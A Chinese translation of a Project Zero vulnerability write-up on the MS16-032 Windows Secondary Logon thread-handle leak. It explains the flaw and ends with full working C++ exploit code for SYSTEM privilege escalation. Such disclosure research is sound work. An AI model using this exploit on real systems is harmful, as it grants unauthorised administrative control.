Windows Secondary Logon服務中的一個控制程式碼許可權洩露Bug

wyzsk發表於2020-08-19
作者: 路人甲 · 2016/03/24 14:03

原文地址:
https://googleprojectzero.blogspot.jp/2016/03/exploiting-leaked-thread-handle.html

0x00 前言


原作者寫了太多的從句,token handle換來換去,一大堆三四行沒逗號的句子看得我頭暈不已,如果手滑翻譯錯了,比如把令牌誤打成控制程式碼,請不要疑惑,聯絡我。

0x01 Bug 本貌


我偶然發現了發現一個可以把在特權程式中開啟的控制程式碼洩漏到較低的特權程式的bug。Bug位於Windows Secondary Logon服務中,該漏洞可以洩漏一個具有完全訪問許可權的執行緒控制程式碼。微軟在MS16-032補丁中修復了這個bug。這篇部落格將告訴你不用傳統的記憶體損壞技術時,你將如何使用執行緒控制程式碼來獲得系統許可權。

你可以在這裡找到issue。 Secondary Logon服務存在於Windows XP+。該服務暴露了一個允許正常的程式建立一個新的、帶有不同token的程式的RPC終結點。從API的角度來看此功能是透過CreateProcessWithTokenW和CreateProcessWithLogonW 暴露出來的。他們行為非常像CreateProcessAsUser,有所不同的是,它不需SeAssignPrimaryTokenPrivilege(+AsUser),而是需要SeImpersonatePrivilege來模擬令牌。登入功能很便捷,它透過登入憑據,呼叫LsaLogonUser並使用所產生的令牌來建立程式。

這些API採取與正常的CreateProcess相同的引數(包括傳控制程式碼給stdin/stdout/stderror時也是一樣)。控制程式碼傳遞的過程允許控制檯程式的輸出和輸入重定向到其它檔案。當建立一個新的程式時,這些控制程式碼通常是透過控制程式碼繼承轉移到新的程式中。在Secondary Logon的例子中,服務不是新程式的實際父程式,所以它是手動從指定的父程式使用 DuplicateHandle API 複製控制程式碼到新程式的。程式碼如下

#!cpp
// Contains, hStdInput, hStdOutout and hStdError.
HANDLE StandardHandles[3] = {...};
// Location of standard handle in target process PEB.
PHANDLE HandleAddress = ...;

for(int i = 0; i < 3; ++i) {
  if (StandardHandles[i]) {
    if (StandardHandles[i] & 0x10000003) != 3 ) {
      HANDLE TargetHandle;
      if (!DuplicateHandle(ParentProcess, StandardHandles[i], 
          TargetProcess, &TargetHandle, 0, TRUE, DUPLICATE_SAME_ACCESS))
        return ERROR;
      if (!WriteProcessMemory(TargetProcess, &HandleAddress[i], 
         &TargetHandle, sizeof(TargetHandle)))
        return ERROR;
    }
  }
}

程式碼從父程式(這是RPC的呼叫者)複製控制程式碼到目標程式。然後將複製的控制程式碼的值寫入到新程式PEB ProcessParameters結構中,這可以透過API,例如GetStdHandle提取。控制程式碼值看起來以某種方式進行了標準化:它檢查了該控制程式碼的低2位是否沒有設定(在NT架構的系統中控制程式碼值總是4的倍數),但它也檢查29位是否沒有設定。

為了效能方面的考慮,也為了開發更簡單,NT核心有一個特殊處理,允許程式使用偽控制程式碼引用當前程式或執行緒,而不用由它的PID/ TID開啟該物件並透過完整訪問許可權來獲取(雖然這樣也能成功)。開發人員通常會透過GetCurrentProcess和GetCurrentThread的API獲取到。我們可以看到下面的程式碼中展示出的特例:

#!cpp
NTSTATUS ObpReferenceProcessObjectByHandle(HANDLE       SourceHandle,
                                           EPROCESS*    SourceProcess, 
                                           ..., 
                                           PVOID*       Object, 
                                           ACCESS_MASK* GrantedAccess) {
  if ((INT_PTR)SourceHandle < 0) {
    if (SourceHandle == (HANDLE)-1 ) {
      *GrantedAccess = PROCESS_ALL_ACCESS;
      *Object = SourceProcess;
      return STATUS_SUCCESS;
    } else if (SourceHandle == (HANDLE)-2) {
      *GrantedAccess = THREAD_ALL_ACCESS;
      *Object = KeGetCurrentThread();
      return STATUS_SUCCESS;
    }
    return STATUS_INVALID_HANDLE;
    
    // Get from process handle table.
}

現在我們可以理解為什麼程式碼檢查29位了。它檢查低2位是否設定了值(偽控制程式碼 -1,-2),但即使較高的位被設定了,也一樣應該被認為是有效的控制程式碼。這便是錯誤根源所在。我們可以從核心程式碼發現,如果指定了-1,那麼源程式就有完整的訪問許可權。但是,並沒有什麼用。因為源程式已經在我們的控制之下,並沒有特權。

在另一方面,如果指定-2,則對當前執行緒有完全訪問,但是該執行緒實際上是Secondary Logon服務,並且它也是用來處理RPC請求的執行緒池之一的現成。這顯然是有問題的。

唯一的問題是如何我們才可以呼叫CreateProcessWithToken/Logon API來作為一個普通使用者啟動程式?呼叫者需要具有SeImpersonatePrivilege才行,但你很容易會考慮到以普通使用者登入時,需要一個有效的使用者帳號和密碼,如果我們是一個惡意使用者這是可以的,但如果我們在用漏洞攻擊別人的話,還是不要這樣為好。仔細看了看原來有一個特殊的標誌,可以讓我們不需要提供有效的憑證,名為LOGON_NETCREDENTIALS_ONLY。當它與登入API一起用於連線網路資源時,主令牌是基於主叫方的。這使我們無需特殊許可權或需要使用者的密碼去建立程式。將其組合在一起,我們可以使用下面的程式碼捕獲一個執行緒控制程式碼:

#!cpp
HANDLE GetThreadHandle() {
  PROCESS_INFORMATION procInfo = {};
  STARTUPINFO startInfo = {};
  startInfo.cb = sizeof(startInfo);

  startInfo.hStdInput = GetCurrentThread();
  startInfo.hStdOutput = GetCurrentThread();
  startInfo.hStdError = GetCurrentThread();
  startInfo.dwFlags = STARTF_USESTDHANDLES;

  CreateProcessWithLogonW(L"test", L"test", L"test", 
                          LOGON_NETCREDENTIALS_ONLY, nullptr, L"cmd.exe", 
                          CREATE_SUSPENDED, nullptr, nullptr, 
                          &startInfo, &procInfo);
  HANDLE hThread = nullptr;  
  DuplicateHandle(procInfo.hProcess, (HANDLE)0x4, 
         GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
  TerminateProcess(procInfo.hProcess, 1);
  CloseHandle(procInfo.hProcess);
  CloseHandle(procInfo.hThread);
  return hThread;
} 

0x02 利用


利用環節。很幸運這個控制程式碼屬於一個執行緒池執行緒,這意味著該執行緒將用來處理其他RPC請求。如果執行緒只存在於服務的一個請求中,用完就渣都不剩了的話將是一個棘手很多的利用。

你可能會認為首先要設定執行緒上下文才能利用此洩露控制程式碼。不管是處於除錯目的還是為了要讓另一個程式支援恢復執行,我們都需要用SetThreadContext。它將儲存CONTEXT的狀態,包括暫存器值,如RIP和RSP,當執行緒恢復執行時,讀取儲存的值就可以從指定位置執行。這似乎是一個好方法,但是肯定也有問題。

  • 它只是改變了使用者模式執行上下文。如果執行緒是在non-alertable wait狀態時,直到一些未確定的情況滿足時,才會開始執行。
  • 由於我們沒有程式控制程式碼,所以我們不能輕易地把shellcode注到記憶體中,所以我們需要ROP一下繞過DEP。
  • 雖然我們可以把記憶體注入到程式中(比如透過RPC傳送一個大buffer),但是注完了我們也不知道這片東西儲存到哪兒了,特別是64位那麼大的地址空間。雖然我們可以呼叫GetThreadContext來得到一個資訊洩漏,但是還不夠。
  • 如果出錯了那麼服務就崩潰了,這是我們希望避免的。
  • 雖然使用SetThreadContext方法來利用成功率100%,但是十分痛苦,如果我們能夠避免ROP就更好了。所以我更想要一個合乎邏輯的漏洞,而在這個例子中的漏洞性質和服務都對我們有利。

 Secondary Logon服務的全部要點是建立任意token的新程式,所以如果我們能以某種方式欺騙服務使用特權訪問令牌和繞過安全限制,我們應該能夠提升我們的特權。咋整?讓我們來看看服務實現CreateProcessWithLogon的程式碼序列。

#!cpp
RpcImpersonateClient();
Process = OpenProcess(CallingProcess);
Token = OpenThreadToken(Process)
If Token IL < MEDIUM_IL Then Error;
RpcRevertToSelf();
RpcImpersonateClient();
Token = LsaLogonUser(...);
RpcRevertToSelf();
ImpersonateLoggedOnUser(Token);
CreateProcessAsUser(Token, ...);
RevertToSelf();

這段程式碼大量使用了身份模擬,因為我們已經獲取了一個帶有THREAD_IMPERSONATE 訪問許可權的執行緒,所以我們可以設定執行緒的模擬令牌。如果我們在服務呼叫LsaLogonUser時設定了一個有許可權的模擬控制程式碼我們可以獲取一個該token的複製,並可以用它來建立任意程式。

如果我們能夠清除模擬令牌(然後它們會退回主系統控制程式碼)事情就會簡單得多。但是不幸的是IL check阻擋了我們的腳步。如果我們在錯誤的時間清除了控制程式碼OpenThreadToken將會失敗,並且IL檢查會拒絕訪問。所以我們需要從另一個地方拿到有許可權的模擬令牌。有無數種方法能做到,比如透過WebDAV與NTML協商,但是這隻會增加複雜度。能不能透過其他方法不借助其他資源來拿到token呢?

有個未文件化的nt系統呼叫NtImpersonateThread 可以幫上忙。

#!cpp
NTSTATUS NtImpersonateThread(HANDLE ThreadHandle, 
                            HANDLE ThreadToImpersonate, 
                            PSECURITY_QUALITY_OF_SERVICE SecurityQoS)

這個系統呼叫允許你基於另一個執行緒的狀態應用一個模擬token到一個執行緒上,如果源執行緒沒有模擬token,核心就會從關聯的程式主token建立一個。儘管沒啥用,但是這可能讓我們用同一個執行緒的控制程式碼來為目標和源建立模擬。因為這是個系統服務,所以我們需要拿到一個系統模擬token。透過下面程式碼可以實現:

#!cpp
HANDLE GetSystemToken(HANDLE hThread) {
  // Suspend thread just in case.
  SuspendThread(hThread);

  SECURITY_QUALITY_OF_SERVICE sqos = {};
  sqos.Length = sizeof(sqos);
  sqos.ImpersonationLevel = SecurityImpersonation;
  // Clear existing thread token.
  SetThreadToken(&hThread, nullptr);
  NtImpersonateThread(hThread, hThread, &sqos);

  // Open a new copy of the token.
  HANDLE hToken = nullptr;
  OpenThreadToken(hThread, TOKEN_ALL_ACCESS, FALSE, &hToken);
  ResumeThread(hThread);

  return hToken;

}

萬事俱備。 我們啟動一個執行緒來迴圈給洩漏的執行緒控制程式碼設定系統模擬令牌。另一個執行緒裡面我們呼叫CreateProcessWithLogon 直到新程式有有許可權的令牌。我們能夠透過檢查主令牌來確定是否建立成功。因為預設情況下我們不能開啟令牌,一旦我們開啟了就成功了。

![p1][1]

這個簡單的方法有個問題,就是執行緒池中有一堆執行緒可用,所以我們不能確保呼叫服務並且準確的呼叫到特定的執行緒。所以我們得執行n次,來獲取到我們想要的控制程式碼。只要我們拿到所有有可能拿到的執行緒的控制程式碼,我們基本就十有八九成功了。

也許我們能透過調整執行緒優先順序來提高可靠性。但是看起來這種方式也還可以,也不太會崩潰然後建立一個帶無特權令牌的程式。在多個執行緒呼叫CreateProcessWithLogon也沒有什麼意義,因為服務有個全域性鎖防止重入。

我在文章最後粘上了利用程式碼。你需要確認下編譯環境,位數是否正確,因為RPC呼叫可能會截斷控制程式碼。因為控制程式碼值是指標,無符號數。當RPC方法轉換32位控制程式碼到64位控制程式碼時會自動填充零,因此(DWORD)-2 不等於 (DWORD64)-2 ,會產生無效控制程式碼值。

0x03 結論


希望我透過這個文章描繪出了一個有趣的在有許可權的服務中洩漏執行緒控制程式碼的攻擊方式。當然,它只在洩漏的執行緒控制程式碼用作能夠直接給予我們程式建立能力的服務,但是你也可以用這種方式建立任意檔案或其他資源。你可以透過記憶體損壞利用技術來達到這個目的,但是你不一定需要這麼做。

0x04 程式碼


#!cpp
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <map>

#define MAX_PROCESSES 1000

HANDLE GetThreadHandle()
{
  PROCESS_INFORMATION procInfo = {};
  STARTUPINFO startInfo = {};
  startInfo.cb = sizeof(startInfo);

  startInfo.hStdInput = GetCurrentThread();
  startInfo.hStdOutput = GetCurrentThread();
  startInfo.hStdError = GetCurrentThread();
  startInfo.dwFlags = STARTF_USESTDHANDLES;

  if (CreateProcessWithLogonW(L"test", L"test", L"test", 
               LOGON_NETCREDENTIALS_ONLY, 
               nullptr, L"cmd.exe", CREATE_SUSPENDED, 
               nullptr, nullptr, &startInfo, &procInfo))
  {
    HANDLE hThread;   
    BOOL res = DuplicateHandle(procInfo.hProcess, (HANDLE)0x4, 
             GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
    DWORD dwLastError = GetLastError();
    TerminateProcess(procInfo.hProcess, 1);
    CloseHandle(procInfo.hProcess);
    CloseHandle(procInfo.hThread);
    if (!res)
    {
      printf("Error duplicating handle %d\n", dwLastError);
      exit(1);
    }

    return hThread;
  }
  else
  {
    printf("Error: %d\n", GetLastError());
    exit(1);
  }
}

typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE ThreadHandle, 
      HANDLE ThreadToImpersonate, 
      PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);

HANDLE GetSystemToken(HANDLE hThread)
{
  SuspendThread(hThread);

  NtImpersonateThread* fNtImpersonateThread = 
     (NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"), 
                                          "NtImpersonateThread");
  SECURITY_QUALITY_OF_SERVICE sqos = {};
  sqos.Length = sizeof(sqos);
  sqos.ImpersonationLevel = SecurityImpersonation;
  SetThreadToken(&hThread, nullptr);
  NTSTATUS status = fNtImpersonateThread(hThread, hThread, &sqos);
  if (status != 0)
  {
    ResumeThread(hThread);
    printf("Error impersonating thread %08X\n", status);
    exit(1);
  }

  HANDLE hToken;
  if (!OpenThreadToken(hThread, TOKEN_DUPLICATE | TOKEN_IMPERSONATE, 
                       FALSE, &hToken))
  {
    printf("Error opening thread token: %d\n", GetLastError());
    ResumeThread(hThread);    
    exit(1);
  }

  ResumeThread(hThread);

  return hToken;
}

struct ThreadArg
{
  HANDLE hThread;
  HANDLE hToken;
};

DWORD CALLBACK SetTokenThread(LPVOID lpArg)
{
  ThreadArg* arg = (ThreadArg*)lpArg;
  while (true)
  {
    if (!SetThreadToken(&arg->hThread, arg->hToken))
    {
      printf("Error setting token: %d\n", GetLastError());
      break;
    }
  }
  return 0;
}

int main()
{
  std::map<DWORD, HANDLE> thread_handles;
  printf("Gathering thread handles\n");

  for (int i = 0; i < MAX_PROCESSES; ++i) {
    HANDLE hThread = GetThreadHandle();
    DWORD dwTid = GetThreadId(hThread);
    if (!dwTid)
    {
      printf("Handle not a thread: %d\n", GetLastError());
      exit(1);
    }

    if (thread_handles.find(dwTid) == thread_handles.end())
    {
      thread_handles[dwTid] = hThread;
    }
    else
    {
      CloseHandle(hThread);
    }
  }

  printf("Done, got %zd handles\n", thread_handles.size());
  
  if (thread_handles.size() > 0)
  {
    HANDLE hToken = GetSystemToken(thread_handles.begin()->second);
    printf("System Token: %p\n", hToken);
    
    for (const auto& pair : thread_handles)
    {
      ThreadArg* arg = new ThreadArg;

      arg->hThread = pair.second;
      DuplicateToken(hToken, SecurityImpersonation, &arg->hToken);

      CreateThread(nullptr, 0, SetTokenThread, arg, 0, nullptr);
    }

    while (true)
    {
      PROCESS_INFORMATION procInfo = {};
      STARTUPINFO startInfo = {};
      startInfo.cb = sizeof(startInfo);     

      if (CreateProcessWithLogonW(L"test", L"test", L"test", 
              LOGON_NETCREDENTIALS_ONLY, nullptr, 
              L"cmd.exe", CREATE_SUSPENDED, nullptr, nullptr, 
              &startInfo, &procInfo))
      {
        HANDLE hProcessToken;
        // If we can't get process token good chance it's a system process.
        if (!OpenProcessToken(procInfo.hProcess, MAXIMUM_ALLOWED, 
                              &hProcessToken))
        {
          printf("Couldn't open process token %d\n", GetLastError());
          ResumeThread(procInfo.hThread);
          break;
        }
        // Just to be sure let's check the process token isn't elevated.
        TOKEN_ELEVATION elevation;
        DWORD dwSize =0;
        if (!GetTokenInformation(hProcessToken, TokenElevation, 
                              &elevation, sizeof(elevation), &dwSize))
        {
          printf("Couldn't get token elevation: %d\n", GetLastError());
          ResumeThread(procInfo.hThread);
          break;
        }

        if (elevation.TokenIsElevated)
        {
          printf("Created elevated process\n");
          break;
        }

        TerminateProcess(procInfo.hProcess, 1);
        CloseHandle(procInfo.hProcess);
        CloseHandle(procInfo.hThread);
      }     
    }
  }

  return 0;
}
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章